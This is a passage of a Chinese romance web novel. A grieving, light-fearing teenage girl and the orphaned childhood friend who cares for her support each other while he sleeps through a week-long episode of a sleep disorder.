初雨没插话,静静听言迹说:“住一起也方便我照顾你,你晚上睡觉锁好房门就行,再做噩梦你就喊我,有我陪你,你不用怕。”
初雨家里,长辈卧室的门,锁着不开,那里面有妈妈割腕自尽的痛苦回忆,她不愿想起,就从不靠近。
有时候梦境会带她重回那天,梦境中的血液从门缝溜出,洇到她脚下。
唯独这点不同于现实,其他全都按记忆还原。
言迹家里,奶奶房间的门,同样紧锁。
几年前,奶奶躺在病床上,说话有气无力:“当初我就说不治病,这下白花这么多钱,你孤苦伶仃一个人,往后可怎么过啊。”
当时的言迹掉着眼泪宽慰奶奶:“才没有白花钱,身体不舒服就是要治病,您不放心的话,就快点好起来,再照顾我几年。”
奶奶很想按他说的这么做,很想快点好起来,亲眼看着他读大学,再找一份工作。
可惜事与愿违,老人油尽灯枯,熬到最后,握着言迹的手,无声无息走了。
言迹成了孤儿。
他办完奶奶的葬礼,整个人如同丢了魂儿,躲在家里不吃不喝,多亏初雨的妈妈敲门关心他,给他送些吃的喝的,往后时常关心他。
非常感激的同时,也感觉很麻烦阿姨,加上学校离家远,他去办了住校手续,让阿姨不用再为他费心。
曾经的他失去亲人,初雨的妈妈对他关怀备至。
如今的初雨一人生活,他理应多照顾点,不说从小到大的青梅竹马情分,就当是报答阿姨对他的恩情,也该对阿姨的女儿好一些,让阿姨在天堂放心。
世界是一片无边无际的海,初雨和言迹是浮在汹涌海面的两片孤舟。
失去亲人以后,他们彼此依靠,抱团取暖,一起继续在这个世界上,想办法更好地生存下去。
窗外楼下的野猫喊叫一声,凄厉响音直达初雨耳膜。
吓得她打了个冷颤。
言迹失笑:“猫叫声把你吓成这样?”
随后挑眉,散漫补充,“哦,我忘记了,鱼本来就怕猫,小鱼你说对不对?”
初雨脸上闪过一丝不好意思,轻哼掩饰:“对对对。”
“真敷衍啊,小鱼,哥哥要伤心了。”言迹故作心痛状。
外人面前话少冷淡的言迹,在初雨面前,换着法子逗她开心。
想她的生活里多点开心,少点难过。
想她多吃饭,睡好觉,早看医生,早康复。
夜已深。
初雨大致收拾几件常穿的衣服,带上手机和充电器,还有洗漱用品。
“就这些?不带别的了?”言迹还以为她会带很多东西。
初雨轻轻点头。
言迹点明:“还有你的被褥床单和枕头,我们小鱼把最重要的忘了。”
他下过决心,要和初雨保持距离,不能太亲密。
让她住自己家完全为了更方便照顾她,在这个前提条件下,他更要避嫌,保持普通兄妹间应有的距离。
她一个未成年女孩,怎么能让她睡进被男生躺过的被褥中。
即使这个男生是他自己也不行。
男女有别,这些更该分清楚。
言迹预想:“不开灯的话,估计边边角角铺不平整,今天太晚了,你先将就着睡,等白天我帮你整理好。”
其实,他关上门,打开灯,自己给她铺好也没问题,可这种贴身私密的床上用品,他觉得应该由初雨自己来,他帮忙倒是可以,但不能全程代劳。
要照顾她的同时,不能丢了边界感。
就像他可以给初雨做饭、带饭,但不能喂饭。
可以给她擦眼泪,但不能牵她的手。
初雨不想折腾他第二次,要铺就一次性铺好。
她咬咬唇,做了一个重大决定:“那……把窗帘拉开些,月亮看得清我们吗?”
习惯了她和以前有差别的表达方式,顺着话意能猜到她原本意思。
她这句话就是问,假如允许月亮光线掉进室内,能借着月光看清铺床吗?
说法还挺可爱,搞得好像月亮为了监督他们半夜铺床,才把光辉发散地这么皎洁无瑕。
“当然,”言迹压抑着雀跃的心,试探着问,“你愿意让月亮看清我们吗?”
你愿意,拉开窗帘吗?
前些天,他晚上带份炒面回来,问初雨能看清吗,需不需要拉开一点窗帘,让月光照得清楚些。
她那会儿拿筷子的手抖了一下,足够说明有多抗拒。
眼前,她出声答话:“愿意。”
这说明她肯往前迈一步,是好事。
言迹说出他的打算:“那我们先把衣服送过去,我拉开房间的窗帘,你能接受亮度的话,我们再一起铺床?”
初雨赞成:“好。”
他们一前一后,走到没打开的客厅门边。
初雨停步,抱着衣服的手指收紧。
外面的声控灯感应很灵敏,打开门,一定会亮灯。
声控灯的亮度远超月光。
她目前接受不了声控灯的暖调光芒,好接近阳光,她做不到,真的做不到。
一这么想,呼吸变得急促。
“别害怕,接下来按我说的做就好。”言迹察觉到她的紧张不安,引导她一步步来。
初雨的声音轻得像一片羽毛:“嗯,我听哥哥的。”
走在她身后的言迹温柔指挥:“小鱼,闭眼。”
她乖巧闭上眼睛。
言迹握住门把手,推开门,老旧生锈的合页嘎吱响,惊动楼道内感应灵敏的声控灯。
橙黄灯束充斥前一秒还沉溺黑暗的楼道空间,初雨紧闭双眼,灯光照落她的眼皮上,眼球似乎被蒙上一层暗红色的纱。
她皱了皱眉。
言迹抬起双手,遮住她的双眼。
他的手指,清晰感知到她颤动的睫毛。
“抬脚,慢点走,我和你一起。”言迹清冽磁性的嗓音,响在她头顶。
初雨的后脑紧贴言迹胸腔,能感受到他说话时的胸腔微振,像细微电流,顺着她的脖颈激起一阵酥麻。
她按言迹说的,抬步往前走。
言迹的手指温热,罩在她眼前,世界重归黑暗,她却并不觉害怕。
楼道很安静,只有他们缓慢行动的脚步声,还有清浅的呼吸声。
初雨的左耳,隐约听到言迹加快的心跳声,他似乎比她还紧张呢。
“好,进来了。”言迹松手。
初雨睁开眼,言迹在她身后关上门。
客厅内的陈设和她小时候来玩时,布置的差别不大。
墙上挂着一副褪色的山水画,布艺沙发多了几块突兀的补丁,笨重的电视机上盖
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着白色蕾丝边的防尘布。
言迹着急去初雨家的时候,没关他家的门。
他的卧室房门敞开,里面床铺的被子掀开了一角。
“进来吧。”言迹打开衣柜门,三两下取出自己全部的衣服,放进一旁闲置着的纸箱里,“衣柜给你用,把你的衣服放进去吧。”
初雨知道言迹在一点点牺牲原本属于他的个人空间,她有些过意不去:“我的衣服不多,可以共用衣柜的。”
言迹果断回绝:“那像什么话?小鱼,我们长大了,不像小时候那样,有些东西要分的清楚些。”
“哦,”初雨闷闷应一声,垂下头盯着瓷砖发呆,“我知道了。”
他们不会像小时候那样,一直在一起。
总有一天,要和对方分开。
初雨放好衣服,言迹走到窗帘边:“我拉开窗帘,你能接受亮度的话,我们现在铺床,好吗?如果接受不了,也别勉强,我再想别的办法。”
她郑重点头:“嗯。”
言迹碰到窗帘的布料,不自觉深吸一口气。
他轻慢扯开窗帘,月光逐渐弥漫室内。
“怎么样?”他转身察看初雨反应。
初雨轻声开口:“没我想的那么难受,这个亮度,还可以。”
天上明月照不亮阒静小镇。
家家户户陷入沉睡,只有他们清醒着。
言迹替初雨开心。
她的病情明显慢慢好转,胃口比前段时间好了一些,往后肯定还会越来越好的。
他帮初雨铺好床,重新合上窗帘,避免天亮后的阳光闯进房间。
或许是折腾累了,初雨后半夜没再做噩梦。
日子照常过。
言迹每晚回家前,发消息问初雨想吃什么想喝什么,他带回来。
一般情况下,他不打电话。
电话可能会打断正在全神贯注听歌的初雨,言迹不愿意打扰她的独处时光,超过半小时没等到消息的话,他才打电话去问。
每逢假期,言迹从兼职的店里回到家,经常给初雨带一些她爱吃的零食。
言迹在客厅开灯写作业的时候,初雨待在房间里,等他写完了才出去,两人相处的很融洽。
这会儿,言迹写完作业,收拾书本装进书包。
他看时间不到九点,初雨以前最喜欢的娱乐综艺节目还没播完。
她在房间里应该很无聊,会不会想看电视?
言迹关灯,起身过去敲敲房门:“小鱼?睡了吗?”
初雨打开房门,摘下一只有线耳机:“没呢。”
言迹抬手摸摸他的后脖颈,发出邀约:“想看电视吗?你喜欢的节目正在播。”
很久没看电视了,言迹还记得她喜欢的节目是哪档。
“没事,不想看就不看,我打扰到你听歌了吧?”
“想你陪我一起看。”
畏光的初雨,即将重新打开电视,对她来说是一项小小的挑战,这个过程,想重要的人陪着她一起完成,她眨眨眼,“可以吗?”
言迹连连答应:“可以可以,当然可以。”
电视的光亮在夜晚略微刺眼。
初雨花了几分钟去适应,起先揉了揉眼睛,随后很快为播放的节目内容着迷。
她沉寂的平静眼底,终于有了些因生活而波动的涟漪。
言迹陪着她看电视,余光里全是她侧脸的轮廓。
这一刻,就像所有事情发生以前,他们写完作业,在一起看感兴趣的节目,久违的感受涌上心头,有记忆混乱错序的奇妙感觉。
他放松身体,靠在沙发背上,等初雨回房间后,沙发就是他的床。
有点困,应该是白天帮王阿姨搬了挺多货物,有些劳累了吧。
初雨看完节目,转头发现言迹睡着了。
他的身体向另一侧倾斜,姿势别扭,却睡得香。
“哥哥?”初雨喊他,“你躺好睡,我要回房间了。”
言迹没动。
初雨以为他睡得沉,伸手晃了晃他的胳膊:“哥哥?”
还是没应声。
她心中闪过一丝慌乱,是睡美人综合症发作了吗?
5. 第五夜
初雨回想言迹说过的症状特点,结合网上给的答案,判断他处于发病状态。
事发突然,没有任何征兆,她叫不醒言迹,只能用力将他扶着躺平,帮他调换舒服的睡姿,又给他垫好枕头,拿来被子给他盖好。
电视里,广告不断,投映过来的光源色调跟着播放内容变化,莫名给眼前这幕染上些童话故事中的魔幻味道。
初雨低眼凝视言迹的睡颜,视线仔细扫过他出挑的五官。
那个年代,很多高中男生留有夸张蓬松的斜刘海,头发厚重到像是戴了顶帽子。
言迹不跟随时下潮流,他剪的短发清爽干净,额前碎发过眉不过眼,用十几年后的话来说,这发型叫自然碎盖。
他的睫毛纤长,鼻梁高挺,脸部轮廓清晰流畅,下颌线如同雕刻般光滑锋利。
薄唇和他的皮肤一样,呈现出病态感的苍白,看起来真的像沉睡了很久的人。
记得他说过,病症发作时后陷入昏睡,饿了会找东西吃,但不属于清醒状态。
初雨给他的杯子里续上凉白开,找出未开封的面包,和水杯一同放在茶几上的显眼处。
关掉电视,光源熄灭,世界寂静到不可思议的地步。
她回房间,躺进被窝。
本以为会很快睡着,没料到失眠了。
她住进言迹家以前的失眠原因,无一例外,全部关于妈妈和姐姐。
忍不住猜测,妈妈在天堂过得好不好?见到姐姐了吗?她们想不想她?如果她能阻止两次悲剧发生,现在的生活应该很幸福吧。
接受不了她们已经离去的事实,所以全身心沉浸自己脑补出来的幻想。
讨厌这个剥夺了她至亲生命的世界,一并厌恶惧怕明媚的阳光,寸寸光芒照耀空旷房间,寂寥清冷,物是人非,哪里还能称为“家”?
充其量算她的容身之所,也是她的回忆收集处。
整日整夜,初雨痛苦地承受着她不能消化的现实。
鲜活的,爱笑的她,似乎永远停留在过去,停留在妈妈和姐姐还跟她一起生活的时候。
住进言迹家以后,做噩梦的频率下降许多。
而今晚,是她第一次为言迹失眠。
翻来覆去,脑海里的零碎想法皆因言迹泛滥。
他明天会醒来吗?
他有没有做梦?
他上次发病是什么时候?
几点睡着的,她记不清。
醒来后已是中午,她起床洗漱以后,回到客厅。
言迹维持昨晚的睡姿,躺在沙发上闭着眼睛,放在茶几上的面包原封未动,水杯里的水位线没变化。
今天是周日,以往周日的这个时间段,他早就出门去王阿姨的店里兼职了。
昨晚病发,他肯定没给王阿姨请假。
初雨心想,她理应给王阿姨打电话说一声,不清楚言迹以前是怎么处理的,现在难题抛在她手里,她不能视若无睹。
她从九月下旬姐姐出事以后,直到当今十一月初,这么长时间,躲在家里闭门不出,全靠言迹帮助,她才支撑下来。
这期间,和她聊天说话,陪她解闷的人,只有言迹。
假设没有言迹,她绝对撑不到眼前这一秒。
“哥哥,”她蹲在沙发旁,轻声细语,“我帮你打电话给王阿姨请个假,好吗?”
自然得不到回答,甚至不清楚,言迹听到她的这句询问了吗?
但是……不问这一句,就去擅自碰他的手机,总觉得心里怪怪的。
她轻叹一口气,默默祈祷言迹快点醒来。
拿起言迹的手机,打开通讯录翻找王阿姨的联系方式,他认识的人不多,可供联系的号码少得可怜。
翻到王阿姨的手机号,她咬咬唇,提前组织好语言,用自己的手机拨通这串数字。
电话那边接得很快,中年女人的声音响起:“喂?哪位?”
初雨急忙出声:“王阿姨您好,我是言迹哥哥的……”
尽管提前演练过,话到嘴边还是有些涩口。
该怎么向别人介绍他们之间的关系呢?
青梅竹马?兄妹?发小?朋友?邻居?
她选择最后一个词:“我是言迹的邻居,他身体不舒服,这几天不能去兼职了,我帮他打电话跟您请个假。”
言迹的奶奶以前面对旁人的问询,都是回答他身体不舒服,这样说可以保护言迹的隐私,初雨用了言迹奶奶的说法。
她不清楚王阿姨了解言迹多少,这么说是最稳妥的。
王阿姨并没有感到意外:“他给我说过,要是联系不到他,就是有段时间不能来了,明天周一,你知道他们老师手机号吗?知道的话,你给学校也请个假吧,别让学校老师担心。”
她刚才翻通讯录的时候,有瞧见言迹存着他们班主任的联系方式,答应道:“好的阿姨。”
给学校请完假,她放下手机,转眸望向沉睡中的言迹。
他早已提前给王阿姨和班主任透露过实情,以防止哪天突然病发,没办法上学兼职,免得长辈联系不到他,会为他担心。
他做事向来成熟稳重,和他的性格一样,是可以让她安心依赖的哥哥。
在初雨心里,言迹是很厉害的人。
言迹的所有亲人离世后,他堕落过一段时间,后来顽强又坚韧地生活下来,读书赚钱两不误。
又主动向她伸出援手,担负起照顾她的重任。
少年的脊梁笔挺,不肯被命运压弯腰。
初雨想成为和言迹一样厉害的人,想成为让他感到累的时候,也能依赖的存在。
她煮包方便面当午饭。
房间里的遮光窗帘发挥作用,正午时分经窗帘过滤的阳光,褪色成傍晚的亮度。
言迹睡着了,没人陪她说话解闷。
能进行的活动,就剩下玩手机自带的单机小游戏,或者打开电视看一会儿节目打发时间。
周日到周三。
初雨玩游戏玩到腻,想看电视,又还没到她最爱的节目播出时间,她对其他节目不感兴趣。
她注意到言迹房间的书桌上,整齐摆放着一些课外书,想翻两本书看看,但室内亮度并不足以看清书页内印着的文字。
要开灯吗?
她看向书桌另一角摆放着的,可以调节灯光明暗和色调的台灯。
调暗一些,估计可以吧?
她的心跳不受控地加快,但凡触及和任何光源光线相关的东西,身体还是会下意识抗拒。
总不能就这样一辈子活在黑暗里吧。
就算她可以,那也不能依赖言迹一辈子啊。
要好起来,好起来。
这样给自己加油打气,说服胳膊带动手掌去触摸台灯开关。
指腹碰到冰凉的按键,指尖止不住颤抖,呼吸被空气收束,越来越紧。
不行。
做不到。
真的做不到。
初雨被烫到般,果断收回手,冰凉的双手抱住双臂,她瘫坐在原地大口呼吸,额上渗出细密的汗珠。
只是开个台灯,她都做不到。
这次不行,那就下次再试吧。
再给她一点做心理准备的时间,再给她宽裕一些可供逃避的时间。
周三到周六。
初雨每天一顿方便面,另一顿随便吃点零食垫垫肚子。
并不是因为言迹买的速食不够,问题出在她没胃口,吃什么都一样,那不如就吃最方便的比较省事。
整天想着言迹什么时候清醒过来,就算没那么快彻底苏醒,那也该起来吃点东西吧。
从上周六到这周六,整整一周,再不吃点东西,身体要饿垮了。
她叫不醒言迹,即使能给他把吃的喂进嘴里,那也要他咀嚼后咽下才行。
越想越愁眉苦脸。
不是说饿了会自己找吃的吗?都一周了,他还不饿吗?
墙上钟表指针提醒时间。
到了她最爱看的电视节目播出的时候,她坐在沙发和茶几拼凑的狭窄空隙之间,背靠沙发边沿,不会碰到言迹。
她的右手拿起电视遥控器,左手捏紧连衣裙的裙摆布料,悄悄在心里为自己打气。
遥控器前段亮起一点红色的指示灯,电视里传来声音和色彩。
她揉揉眼睛,慢慢适应电视的光线,渐渐跟着主持人和明星嘉宾的节奏,全身心被节目内容吸引。
身后响起窸窸窣窣的声音。
她迅速回头察看,恰好和翻身朝外侧躺的言迹对视上。
被子遮住言迹的鼻梁,他睡眼惺忪,单眼皮牵动睫毛轻眨,和她又惊又喜的眼神撞个满怀。
“哥哥!你醒啦?”初雨转身,和言迹面对面,她的双手扒住沙发边,乖巧可爱得惹人心疼。
言迹的声音有些睡久的沙哑:“嗯,太困就不小心睡着了。”
他扫一眼初雨身后的电视节目,有些晕眩感:“节目还没播完吗?几点了?”
初雨看钟表:“八点十五分。”
言迹记得问她想不想看电视的那会儿,时间快要到九点,这会儿怎么还倒退了几十分钟?
意识清醒过来,他掀开被子坐起。
电视节目里的嘉宾阵容,早已不是睡着前的面孔。
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“我睡了一周?”言迹向初雨确认。
“嗯,我给王阿姨还有你的班主任请过假了,说你身体不舒服,这几天去不成。”
初雨拿起茶几上的水杯递给言迹,杯子里的水是她今天新换的,“哥哥喝水,润润嗓子。”
言迹接过水杯,初雨准备往厨房去:“你饿了先吃面包,我去帮你煮点吃的。”
她的手腕被言迹握住,重心轻扯她的身体坐进沙发。
和言迹之间的距离,只隔一层薄薄的被子。
“不着急,小鱼。”言迹松开手,墨黑双眸里跳跃着电视的光亮,看起来还是有些困倦,“先陪我说会儿话。”
初雨担忧:“你一周没吃东西了,肚子肯定很饿,我先帮你弄点吃的,有什么话不能等你填饱肚子再说?”
言迹扯起唇角,以开玩笑的口吻:“很重要,必须现在说。”
“让我听听,有多重要?”初雨被他勾起好奇心。
言迹见她妥协,语气多些柔软:“害怕吗?”
她没反应过来:“害怕什么?你说话怎么和我有的时候一样,没头没尾的。”
言迹几乎是脱口而出,根本没空仔细整理语言。
他听见她的反问,垂睫思考两三秒,重新抬眸说话:“我发病的时候,还有这几天,你害怕吗?有人来敲门闹事吗?你有没有做噩梦?有按时吃饭吗?身体哪里有不舒服吗?”
很重要的内容,每一句都关于初雨。
她的鼻尖泛酸。
言迹这么关心她,刚醒来就问一大堆和她相关的事情。
“不害怕。”
她忍着鼻酸,偏过头回答问题,不让言迹发现她眼里的泪光,“只要你在家里,我知道你陪着我,就不害怕,没有人来,我这几天没怎么做噩梦,都是一觉到天亮,按时……”
说到这儿,她有些心虚,一天只吃一顿方便面,另一顿靠零食充饥,算按时吃饭吗?
她含糊过去:“吃了,没有哪里不舒服,前几天还想试着打开台灯看书呢,我的手都碰到开关了,但是没勇气按下去,还是有些害怕。”
言迹弯唇,温声夸她:“做得很好,小鱼。”
她的身体僵硬一瞬,没想到会收获言迹的夸奖。
言迹细说她值得夸奖的点:“你帮我给王阿姨和老师请假,做的特别好,我睡着这几天,你没害怕,也是进步的证明,我们小鱼长大了,不是只会掉眼泪的小姑娘了,我知道你没按时吃饭,你说谎的时候会口吃,只要没饿到就行。”
他稍微停顿,继续话题:“尝试开灯这点,真的很厉害,你有这个想法,并且试着去做就很好了,凡事都有个循序渐进的过程,一次没打开,我们就多尝试几次,哥哥相信你,肯定能一次做的比一次好,我们小鱼就是全世界最棒的女孩儿。”
初雨的肩膀微微耸动,指尖紧抓沙发,压抑哭声到极致。
“怎么好好的哭了?”言迹坐到沙发边,反思哪句话没说好,触及到她的泪点。
她吸吸鼻子,低着头不让言迹看见她哭泣:“没什么……我从小到大,没被夸过,小时候经常考第一也没被爸妈夸过,做错一点小事被骂好几天,听到你夸我这么多,我有些……意外。”
心里空缺已久的,渴望已久的东西,十几年来鲜少听到的夸奖,有朝一日竟然能听到这么多夸她的字词。
像干涸多年的土壤,猛然喝太多水分,却无法完全吸收。
很多溢出来的夸奖话语,变成了她往下砸落的泪珠。
言迹哄她:“没事儿,那我以后多多夸你,这样子再听到我夸你,就不会这么意外了。”
世界此前亏欠她的诸多,往后由他这个当哥哥的来慢慢弥补,直至完整。
初雨的哭腔沉闷,她起身躲进厨房:“我给你弄点吃的。”
她擦掉眼泪,给言迹煮碗清汤面,端给他:“小心烫,以前姐姐教过我做清汤面,除了方便面,我就只会做这个了。”
她连吃几天方便面,因为就她一个人,吃什么都一样。
言迹睡了一周,胃里空空如也,刚醒来不适合吃方便面那么油腻的东西,她就煮碗清淡的清汤面,加些酱油之类的简单调味品,不至于索然无味。
“有点多,我吃不完。”言迹凑近闻了闻,“好香。”
“那我再拿个碗,你给我分点,我帮你吃。”
“好。”
初雨拿来她平时用的白瓷小碗,放茶几上。
本以为言迹伸手要拿她的碗分面,但是言迹没碰碗,反而握住她的手,带到他眼前,借着电视的光源细细察看:“煮面没烫到手吧?”
6. 第六夜
“没有,我又不是小孩子了。”初雨不好意思地抽回手,反复回想刚才的触感。
言迹的手掌宽大,指节修长分明,指尖和指根附着薄茧,是他长期干活的证明。
他的温热双手握住她微凉的纤纤玉手,不同的体温触碰相接,检查她有没有被烫伤的动作,好像情侣间普通的双手相握。
两个人后知后觉。
言迹转移话题,拿碗分好面,尝了一口他碗中的清汤面,竖起大拇指:“这是我吃过最好吃的清汤面。”
初雨被他逗笑:“有多好吃?”
“恨不得连碗都吞下去那么好吃。”
初雨笑得止不住:“一碗清汤面让你夸成这样?”
言迹眼尾弯起:“那还不是说明你做的很好吃?不好吃的话,我想夸都没办法夸。”
她尝了一口碗中的面,哪有言迹说的那么夸张。
只是一碗寡淡的面而已,她都不知道好吃在哪里。
言迹意味深长看她一眼:“要不是有你,我上哪儿吃这碗现成的美味清汤面去?”
他想让她明白,她绝不是拖累,她的存在很重要,可以成为他生活下去的动力。
她眨眨眼:“你去外面买呀。”
言迹失笑:“一个礼拜没吃饭,我腿软的站不稳,爬着出去买啊?这可是六楼,你忍心看我爬上爬下?”
她再次笑出声:“忍心啊。”
言迹准备收拾她,笑着宣战:“好啊,对我这么狠心是吧?站那别跑!”
“不跑是傻子!”她转身就往房间里跑,正要关门,言迹腿长,紧跟着进来,她躲进被窝,“我就不信你还能把我怎么样!”
“你还挺嚣张。”言迹单膝跪床上,另一条腿支撑重量,倾身按住被子挠初雨腰侧的痒痒肉。
果不其然,她迅速投降:“哈哈哈……我错了,饶了我吧哈哈哈……”
言迹停手,按住被子防止初雨反击,居高临下笑她:“你5岁的时候,被我挠痒痒马上认输,现在你15岁,这招还是屡试不爽。”
她不服地哼一声:“你就会提我的事,怎么不说我5岁玩过家家的时候,不小心亲了你一口,你闷闷不乐好几天,我还以为你不跟我玩了呢,结果奶奶给我说,你怕被我亲了会怀孕,还怕我告诉其他小朋友。”
言迹轻咳两声,放开她,站直身体:“我当时又不懂这些,初中上了生物课才懂男女差别。”
“那你现在不怕了吧?”她狡黠一笑,扑过去抓住言迹的卫衣领口,把他扯得弯腰。
言迹收敛笑容,急忙制止:“别乱来。”
哼。
让你刚才挠我,终于轮到我来吓唬你了。
初雨腹诽完这句,继续往上凑:“只准你逗我?不准我逗你?”
言迹去掰她的手指,又怕弄疼她,不得不放手指正:“你这叫耍流氓,不叫逗。”
“哦。”初雨松手,弯腰的言迹失去重心,他急忙伸手撑床,侧着的脸碰到少女柔软的唇瓣,不想发生的事还是发生了。
他像炸毛的猫,整个人站直往后退了几步,眼里写满震惊和尴尬。
坐在床上的初雨指指他,用词荒唐:“你对我投怀送抱,这可不怪我。”
言迹的脸红透了,耳朵温度烫的可怕,他没缓过来,心跳剧烈:“什么投怀送抱,你没打招呼就松手,我没做好准备才不小心碰到你,我我我不是故意的。”
他这么一说,初雨知道问题在她,也道歉:“我也不是故意的,那我怎么补偿你……要不……以其人之道还治其人之身,你亲我,亲回来?”
她的办法,言迹哪敢用:“哪有哥哥和妹妹亲来亲去的?像什么话。”
她嘀咕一句:“我们又不是亲兄妹。”
“那也不能乱来。”言迹走出房间,“我去收拾碗筷,等会儿还要洗澡洗衣服,你继续看节目吧。”
洗干净碗筷,言迹拿着换洗衣服进了卫生间,站在花洒下冲澡。
脑子里很乱,脸上似乎还残留温软的触感,一想到这儿,他的心跳再度加快,耳根热意蔓延。
他伸手把湿掉的额发捋到头顶,露出光洁的额头和浓密的眉毛。
镜子里水雾缭绕,他的眉头轻皱,水珠顺着脸颊滚落到下巴,再砸到嶙峋的锁骨上,蜿蜒向下。
上次发病是什么时候?他起不起来。
从九月末往后的时间,他的心思全在初雨身上,很少再关注他自己的病情。
初雨搬来之前,他就反复提醒在心里提醒,不能越界,要保持距离。
刚才不该去挠她痒痒,不然也不会发生后来的尴尬场面。
是他这个当哥哥的没做好,以后要更加注意才行。
他擦干身体,穿好衣服,收拾完浴室,开始手洗衣服。
给泡着衣服的盆里倒进去些洗衣粉,薰衣草的香味溜进鼻腔,味道有点浓。
他放下快要用完的洗衣粉袋子,心想反正快要用完了,再买新的洗衣粉就换一个清淡些的味道吧。
洗完衣服,他拿着晾衣架去阳台。
那个年代的阳台是开放式,老旧的小区阳台呈长方形,新一些的小区阳台是半圆拱形。
很多人会在阳台摆上桌椅,闲暇时间喝杯下午茶,看着远处的风景放松疲劳的眼睛,也算一场视觉旅行。
节目播完,初雨关掉电视。
言迹拿着衣服走过她身旁,掀开阳台门帘,进去晾衣服。
晚风吹起门帘一角,月光闯进室内,吸引初雨的视线往外眺。
她瞧见漆黑天幕嵌弯月,光辉笼住言迹寂寥的背影,给他周身镀上一层铂色光圈。
少年蓬松发丝被风吹动,身材高大单薄又清瘦易碎。
言迹晾完衣服,回到客厅,初雨仍旧盯着月亮欣赏,和他说:“真好闻。”
他捏起衣服领子闻了闻:“洗衣粉味儿,薰衣草的。”
本来打算要换洗衣粉了,既然她说好闻,那就先用着吧。
“我就说你给我洗过的衣服怎么那么香,原来是薰衣草洗衣粉。”
初雨起身,凑近到言迹旁边,闻闻他新换的衣服味道,“我们两个身上有一样的味道。”
她在寻找并累积,他们是同一类人的证据。
仿佛证据越多,就足够说明他们的相似性,以及不可替代性。
没人比他们彼此更适合陪在对方身边。
她的心思弯弯绕绕,想法天马行空,表达富有一种独特的个人色彩。
别人学不来。
“嗯。”
言迹不动声色拉开距离,去茶几旁拿杯子喝水,“厨房垃圾桶里全是方便面包装袋,这一个礼拜,你只吃了方便面吧,明天周日,我出去买菜给你做米饭炒菜,有什么想吃的吗?”
初雨摇摇头:“没什么想吃的,你做什么我就吃什么。”
“行,”言迹放下水杯,看眼时间,“不早了,你该休息了。”
初雨正准备回房间,刚迈步又停足,问他:“哥哥,你记得上次发病是什么时候吗?”
“不记得了,这个病的发病周期不固定,怎么突然问这个?”
“没事,就是关心一下,那……你这次睡着,有做梦吗?”
言迹否认:“没有,我平时就很少做梦,发病期间也不会做梦。”
“哦,我还以为你睡一个礼拜,会做很多梦呢,有点好奇,就问问,”初雨转身回房间,“我去睡觉了,哥哥晚安。”
“小鱼晚安。”言迹看着她关上房门,他躺回沙发准备休息。
初雨没有立刻睡觉,她找出记事本和笔,打算记点东西。
遮光窗帘阻挡光线,室内的亮度看不清下笔的位置,她再次有了想开台灯的想法。
她深呼吸一口气,做好心理准备。
没事的,不能接受亮度的话,马上关掉就好了,实在很害怕的话,可以直接躲进被窝里喊言迹来关灯,反正他就在客厅,一墙之隔而已。
他晚上说过,一次没打开,就多尝试几次,肯定能一次做的比一次好。
心里默念这句话,她伸手向开关摸去,狠心按下的那一秒,她下意识闭上眼睛。
亮光微弱,她眯眼睛观察情况,台灯的光线比较暗,暗橙色的光源,亮度只够包围半个书桌
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,这样就刚好。
她睁开眼睛,翻动记事本纸张,找到上次记录言迹病情症状的那页。
抬笔写下“发病周期不固定,发病期间不会做梦”,另起一行,记录上周六的日期和这周六的日期,补一句“我住进来以后,哥哥第一次发病”。
想多了解这个病的症状和发病特点,想找找有没有什么办法,可以根治这个病。
今晚不用像前几天那样担忧言迹病情,她放松了紧绷的神经,第二天睡到自然醒。
隔着房门闻见饭菜香气,手机时间显示上午十一点半。
她急忙起床准备去卫生间洗漱。
言迹听到她打开房门的声音,迅速关掉厨房的灯,饭菜都准备好了,不用开灯也行。
她洗漱完,走去茶几旁,言迹正在给她盛饭。
“都这么晚了,你怎么不叫我起床?”她坐在言迹对面的位置。
言迹轻笑:“你睡的香是好事,我吵醒你做什么?”
她不太乐意:“可是我想给你帮忙做饭啊,你把什么都做好了,我不就没用了吗?”
“谁规定做人必须有用呢?”言迹把碗筷放到她面前,“你只要开开心心的,就是最大的用处。”
他只希望,她的病情快点好起来,然后健康快乐的生活下去,除此之外,对她没有任何要求。
昨天初雨做的清汤面,言迹连夸好几句。
今天初雨把他做的三菜一汤,换着花样夸他手艺好,言迹笑着给她夹菜:“耍嘴皮子可没用,只有你吃完了才能说明我是真的手艺好。”
好在每盘菜的份量不多,要全部吃完并不是难事。
平时言迹上学时间紧,给她准备的午饭一般都是蒸进电饭煲里的焖饭,或者提前炒好的蛋炒饭,稍微加热就能吃。
炒菜必须当顿吃才能最大限度保持蔬菜的新鲜感,第二顿加热的话会流失营养,口感大幅降低。
要想吃米饭炒菜,只能等言迹周末才有时间做。
她想,如果病情好转,能见光了,她也要下厨做饭,做美味可口的饭,让言迹放学回来就能吃到。
那样也算为他省下一些时间,多出来的空可以看书学习,争取考到他心仪的大学。
“我吃完啦!这下你该信我了吧?哥哥的手艺真的超级好!”初雨擦干净嘴角,还不忘夸言迹。
言迹收拾碗筷去厨房清洗:“全世界最乖乖吃饭的人就是我们小鱼,多吃饭多睡觉,身体才好得快。”
她跟着去帮忙洗碗,两个人像是在一起生活了很久一样,做任何事情都非常自然。
或许,天下所有的青梅竹马,都有这份不用言说的默契吧。
言迹恢复正常的上学兼职生活。
初雨独自在家的分分秒秒,她会看看电视,或者玩玩手机上的寿司消消乐,偶尔也会打开台灯看书。
电视近些天总播放一则广告,主题是“你有多久没关心过你的家人”,广告宣传词发人深省,直达灵魂的拷问让观众沉默——
“你有多久没拥抱过你的家人?有没有留意他们被生活的疲惫压弯了腰?有观察过他们的心情如何吗?”
几个广告演员将许多家庭里不同成员的压力和矛盾,演绎得引人共鸣,广告最后列出一串电话号码,注明是心理医疗机构的联系方式,有心理疾病家人的亲属可以打电话预约治疗。
初雨很想拥抱妈妈和姐姐,可惜没有机会。
能拥抱的家人就剩下和她一起生活的言迹,她能看出来言迹忙于学习和兼职,他眼角眉梢的疲倦让他看起来更加孤独落寞,很心疼那样的他,却不知道该怎么安慰。
她能说些什么呢?
“说”,能比“做”的效果更好吗?
给他一个拥抱的话,能否让他觉得好一些呢?
还没等初雨想通这个问题的答案,言迹就开门回来了,他手上提着一份打包给初雨的丸子粉丝汤。
“我回来了。”言迹放下钥匙,在门口换拖鞋。
他刚换好一只拖鞋,另一只脚还在休闲鞋里,初雨跑过来抱住他,他猝不及防,维持原姿势,身体僵住,忘了反应。
7. 第七夜
初雨的脸埋在他胸膛的衣料里,能感受到布料之下,他的皮肤温度,还有他越来越快的心跳。
“哥哥,这么长时间以来,你辛苦了。”她诚心诚意说完这句话。
